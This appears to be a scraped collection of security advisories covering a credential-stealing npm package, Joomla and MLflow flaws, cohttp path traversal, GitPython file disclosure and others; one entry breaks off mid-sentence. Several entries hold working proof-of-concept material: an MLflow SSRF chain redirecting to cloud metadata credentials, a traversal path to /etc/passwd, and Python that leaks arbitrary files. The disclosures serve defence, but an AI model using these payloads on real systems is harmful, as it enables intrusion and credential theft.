Search: com.ar

The Brushfire platform's video content streaming application (https://online.brushfire.com) exposes database path in requests to users, allowing a remote, unauthenticated attacker to read information about other users. Fixed February 2026.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8cebaa0a3370c12104ef2816420193171f431df0d113fdc5d8c9f1dc921deeb5) Package advertises itself as a TOTP utility but its postinstall script (`node./index.js --setup 2>/dev/null || true`) and its exported `validateSecret` API both invoke a hidden `_run()` routine that (1) scans Discord/Chrome/Edge/Brave/Opera LevelDB stores under `os.homedir()` for Discord auth-token regexes, DPAPI-decrypts encrypted tokens via a spawned powershell `ProtectedData.Unprotect` call, parses Minecraft launcher credentials (vanilla `launcher_accounts.json`, Lunar `accounts.json`, ModrinthApp `app.db` JWTs), validates the harvested Discord tokens against `discord.com/api/v9`, and POSTs the collected credentials to a hardcoded Discord webhook whose URL is stored as chunked base64 in `_x` and reassembled at runtime (`Buffer.from(_x.join(''),'base64')`) to a `discord.com/api/webhooks/1532429233769419004/...` endpoint; and (2) enumerates vanilla/Modrinth/Lunar Minecraft profile `mods/` directories and writes an opaque JAR named `optimized-renderer-1.0.0.jar` (URL also stored as chunked base64 decoding to `cdn.discordapp.com/attachments/1507484731535785994/1540335670831222894/optimized-renderer-1.0.0.jar`) into each discovered mods folder, delivering unverified code that will execute the next time the user launches Minecraft with a Fabric loader. The postinstall suppresses stderr and uses a 4-second `setTimeout` to appear to finish cleanly. Because `validateSecret` (part of the three-function public API) schedules `_run()` via `setImmediate`, the same theft and dropper also fire whenever a downstream consumer imports the package and calls the advertised TOTP function — extending the attack surface well beyond install time. ## Source: ghsa-malware (145fefb1ae148805aea6871e4815b86fb21f89d31230787f8a9a5eb8e5a1cea2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (9c45116c29a00a054ccdbbef39b740b4551b671bdb999a0c8d76deac16b9352e) The OpenSSF Package Analysis project identified 'totp-utils' @ 1.4.4 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

CVE-2026-76612 is a high severity stored cross-site scripting (XSS) vulnerability in the yootheme.com Zoo extension for Joomla. It affects versions up to and including 4.1.65. The flaw arises because user-supplied input in comments and user-controlled fields was not properly escaped, allowing unauthenticated attackers to inject malicious scripts that are stored and executed when viewed.

CVE-2026-76611 is a medium severity vulnerability in the yootheme.com Zoo extension for Joomla versions 1.0.0 through 4.1.65. It allows unauthenticated attackers to perform arbitrary directory listing via the Gallery element due to improper limitation of a pathname to a restricted directory (CWE-22). This could expose directory contents without requiring authentication.

CVE-2026-75115 is a high severity path traversal vulnerability in the YOOtheme Pro extension for Joomla versions 2.3.0 through 5.0.40. It allows authenticated privileged users to read arbitrary files on the filesystem due to improper limitation of pathname filtering in the Filesystem source component. This vulnerability arises from glob-based pattern filtering that can be bypassed to access restricted files.

An authenticated SQL injection vulnerability exists in the YOOtheme Pro extension for Joomla versions 1.0.0 through 5.0.40. This flaw allows any user with contributor-level privileges to inject arbitrary content into SQL queries, potentially compromising the database integrity. The vulnerability is classified as high severity with a CVSS score of 8.6.

A reflected cross-site scripting (XSS) and open redirect vulnerability exists in the Zoo extension for Joomla versions 1.0.0 through 4.1.65. The issue arises from improper neutralization of input in the submission redirect parameter. This vulnerability could allow an attacker to execute arbitrary scripts in the context of the affected web application.

This is a Reddit post by a user sharing a project called cybercve.com, which analyzes CVE data from major cybersecurity vendors. The post is a request for feedback and does not describe any specific security threat or vulnerability.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Apache InLong. Agent Installer's ModuleManager executes arbitrary shell commands via ExcuteLinux.exeCmd() with no filtering or whitelist validation. This issue affects Apache InLong: from 2.0.0 before 2.4.0. Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1]/[2] to solve it. [1]  https://github.com/apache/inlong/pull/12151 . [2]  https://github.com/apache/inlong/pull/12155 .

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a

### Impact A CMS user with the "submit translations" permission, could use the Admin API's "copy for translation" endpoint to copy an existing page that they do not have edit access to, allowing them to view its contents. ### Patches Patched versions have been released as Wagtail 7.0.9, 7.3.4, 7.4.3 and 8.0rc2. ### Workarounds N/A ### Acknowledgements Many thanks to tinyb0y for reporting this issue. ### For more information If you have any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).

The issue is that the function normalizes the URI path before percent decoding it: ```OCaml let resolve_local_file ~docroot ~uri = let path = Uri.(pct_decode (path (resolve "http" (of_string "/") uri))) in ... ``` Because `%2f` is decoded after Uri.resolve, encoded separators survive dot-segment normalization. For example, a request path like: ``` /static/..%2f..%2f..%2fetc/passwd ``` is normalized as a single encoded segment, then decoded into: ``` /static/../../../etc/passwd ``` afterwards. ## Timeline - Aug 11th 2026: report to security@ocaml.org - Aug 14th 2026: PR published on <https://github.com/mirage/ocaml-cohttp/pull/1145> - Aug 20th 2026: fix released in v6.3.0 <https://github.com/ocaml/opam-repository/pull/30528>

Mongoose is an embedded web server and network library. Prior to version 7.22, an on-path network attacker with a wildcard certificate for a parent domain can impersonate deeper subdomains to a client using the built-in TLS stack. The mg_tls_verify_cert_san() and mg_tls_verify_cert_cn() functions in src/tls_builtin.c call mg_match(), whose wildcard can cross DNS label boundaries, so a pattern such as *.example.com can match foo.bar.example.com. The resulting hostname verification bypass permits interception and modification of TLS traffic. This issue is fixed in version 7.22.

Red Hat build of Podman Desktop is a graphical tool for managing containers using Podman. It allows users to run, manage, and configure containers and container images using a desktop GUI. Security Fix(es): * github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption (JWE) object (CVE-2026-34986) * ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input (CVE-2026-42338) * protobufjs: protobufjs: Denial of Service via crafted JSON descriptors (CVE-2026-45740) * ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` (CVE-2026-45736) * devalue: devalue: Excessive memory consumption via deserialization of sparse arrays (CVE-2026-42570) * tmp: path Traversal via unsanitized prefix/postfix enables directory escape (CVE-2026-44705) * form-data: form-data: Form field override via CRLF injection (CVE-2026-12143) * webpack-dev-server: webpack-dev-server: Information disclosure and denial of service via improper proxy configuration (CVE-2026-9595) * ws: ws: Denial of Service via memory exhaustion from small WebSocket fragments (CVE-2026-48779) * extract-zip: github.com/maxogden/extract-zip: extract-zip: Arbitrary file write and information disclosure via symlink validation bypass (CVE-2026-56876) * fast-uri: fast-uri: Security policy bypass due to improper Unicode hostname canonicalization (CVE-2026-13676) * brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149) * tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874) * tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873) * js-yaml: js-yaml: Denial of Service via crafted YAML documents (CVE-2026-59869) * protobufjs: protobufjs: Denial of Service via crafted .proto schema (CVE-2026-59877) * grpc-js: @grpc/grpc-js: Server crash via malformed HTTP/2 stream initiation (CVE-2026-48068) * linkify-it: linkify-it: Denial of Service via algorithmic complexity vulnerability (CVE-2026-48801) * dompurify: DOMPurify: Cross-site scripting vulnerability allows code execution (CVE-2026-49978) * brace-expansion: Brace-expansion: Denial of Service via memory exhaustion in expand() function (CVE-2026-14257) * postcss: PostCSS: Information disclosure and denial of service via crafted CSS input (CVE-2026-45623) * postcss: PostCSS: Information disclosure via crafted sourceMappingURL (CVE-2026-69153) * brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation (CVE-2026-69152) * ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass (CVE-2026-69192) Bug Fix(es) and Enhancement(s): * Release RH Podman Desktop 1.1.2 to RHEL 10.2 Extensions (JIRA:RHEL-238929) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Uncontrolled Resource Consumption vulnerability in Apache InLong. Users could affect operational configuration or allow upload of non-official packages. This issue affects Apache InLong: from 2.0.0 before 2.4.0. Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it. [1] https://github.com/apache/inlong/pull/12095 https://github.com/apache/inlong/pull/11732

Uncontrolled Resource Consumption vulnerability in Apache InLong. Non-template responsible persons can view template information. This issue affects Apache InLong: from 2.0.0 before 2.4.0. Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it. [1] https://github.com/apache/inlong/pull/12093 https://github.com/apache/inlong/pull/11732

A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building images for local usage, it can also upload images directly to cloud. It is compatible with composer-cli and cockpit-composer clients. Security Fix(es): * golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * github.com/labstack/echo: Echo: Unauthorized Information Disclosure via URL Path Decoding Discrepancy (CVE-2026-55677) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

CVE-2026-74013 is a high severity SQL Injection vulnerability affecting WordPress.com eShipper Commerce versions up to 2.16.13. It involves improper neutralization of special elements in SQL commands, specifically in the subscriber functionality. This vulnerability allows an attacker with low privileges and no user interaction to cause a partial impact on availability and a complete impact on confidentiality. No official patch or remediation information is provided in the available data.

## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.